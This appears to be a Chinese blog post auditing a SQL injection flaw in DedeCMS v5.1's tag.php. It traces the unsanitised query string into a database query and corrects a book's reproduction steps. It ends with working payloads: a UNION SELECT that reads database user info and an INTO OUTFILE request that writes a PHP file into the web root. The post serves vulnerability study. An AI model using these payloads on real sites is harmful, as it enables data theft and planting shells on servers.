DEDECMS V5.1 审计学习

阅读书籍:《黑客脚本全本》、第240页、关于dedecms v5.1 tag.php 注入漏洞复现问题。

书中作者这个漏洞复现有些不正确、

#0x01 

文件/tag.php

if(isset($_SERVER["QUERY_STRING"])){
	$tag = trim($_SERVER["QUERY_STRING"]);  //query_string (查询字符串),如果有的话,通过进行页面访问。
	$tags = explode('/',$tag);          // 通过'/'来分隔数据成数组
	$tag = $tags[1];                //输出$tags数组第1个等于$tag
	if(count($tags)>3) $PageNo = intval($tags[2]);
}else{ 
	$tag = "";
}
$tag = urldecode($tag);              //$tag 进行一次url解码。
//如果没有Tag或Tag不合法,显示所有Tag
if($tag=="" || $tag!=addslashes($tag) ){
	$dlist = new TagList($tag,'tag.htm');
}
//如果有Tag,显示文档列表
else{
	$dlist = new TagList($tag,'taglist.htm');
}

$dlist->Display();

 跟进TagList函数:

function TagList($keyword,$templet){
$this->__construct($keyword,$templet);
}  

跟进__construct 构造函数:

	function __construct($keyword,$templet)
 	{
 		$this->Templet = $templet;
 		$this->Tag = $keyword;
 		$this->dsql = new DedeSql(false);
 		$this->dtp = new DedeTagParse();
 		$this->dtp->SetNameSpace("dede","{","}");
 		$this->dtp2 = new DedeTagParse();
 		$this->dtp2->SetNameSpace("field","[","]");
 		$this->TypeLink = new TypeLink(0);
 		$this->Fields['tag'] = $keyword;
 		$this->Fields['position'] = " ".$keyword;
 		$this->Fields['title'] = " 标签:{$keyword} ";
 		$this->TempletsFile = '';
 		//设置一些全局参数的值
 		foreach($GLOBALS['PubFields'] as $k=>$v) $this->Fields[$k] = $v;
 		$this->PartView = new PartView(0);

 		//读取Tag信息
 		if($this->Tag!='')
 	  {
 		   $this->TagInfos = $this->dsql->GetOne("Select * From `#@__tag_index` where tagname like '{$this->Tag}' ");
 		   if(!is_array($this->TagInfos))
 		   {
 			    $fullsearch = $GLOBALS['cfg_phpurl']."/search.php?keyword=".$this->Tag."&searchtype=titlekeyword";
 			    $msg = "系统无此标签,可能已经移除!<br /><br />你还可以尝试通过搜索程序去搜索这个关键字:<a href='$fullsearch'>前往搜索>></a>";
 			    ShowMsgWin($msg,"<a href='tag.php'>Tag标签</a> >> 错误提示");
 			    $this->dsql->Close();
 			    exit();
 		   }
 		   $this->TagID = $this->TagInfos['id'];
 		}

 		//初始化模板
 		$tempfile = $GLOBALS['cfg_basedir'].$GLOBALS['cfg_templets_dir']."/".$GLOBALS['cfg_df_style'].'/'.$this->Templet;
 		if(!file_exists($tempfile)||!is_file($tempfile)){
 			  echo "模板文件:'".$tempfile."' 不存在,无法解析文档!";
 			  exit();
 	  }
 	  $this->dtp->LoadTemplate($tempfile);
 	  $this->TempletsFile = ereg_replace("^".$GLOBALS['cfg_basedir'],'',$tempfile);

  }

$tag过程:

$tag -> $keyword -> GetOne("Select * From `#@__tag_index` where tagname like '{$this->Tag}' ") 

经过一次urldecode解码以后直接带入数据库查询。

 

#0x02

书中提示思路、url二次编码绕过GPC限制,根据本地验证:

    $tag = trim($_SERVER['QUERY_STRING']);
    //$tag = trim($_GET['tag']);
    echo $tag . '<br />';
    $tags = explode('/', $tag);
    //var_dump($tags);
    $tag = $tags['1'];
    echo $tag . '<br />';
    echo urldecode($tag);

书中给出的方法使用多个环境复现都是如此、不知是个人环境和配置问题还是:

url二次转义%27 带入数据库中直接被''闭合在其中未正常的注入。

根据前辈们的其他相关信息获得如下解释:

$_SERVER 不受到GPC影响,所以无需利用二次编码。

 直接单引号->浏览器自动会做一次url转码->然后再通过程序自带的urldecode解码。

 

#0x03

 

构造payload:

tag.php?tag=1/TommieTommie' union select 1,user(),3,4,5,6,7,8,9 from mysql.user %23/1/1

 备份写shell:

tag.php?tag=1/1waaa2' union select 1,2,0x3C003F00700068007000200070006800700069006E0066006F00280029003B003F003E00,4,5,6,7,8,9 into outfile 'C:%2FphpStudy%2FWWW%2Fdedecmsv51-utf8%2Fupload%2F1.php' %23/1/1

  

posted @ 2018-07-23 11:08  瘦子的伤悲  阅读(270)  评论(0编辑  收藏  举报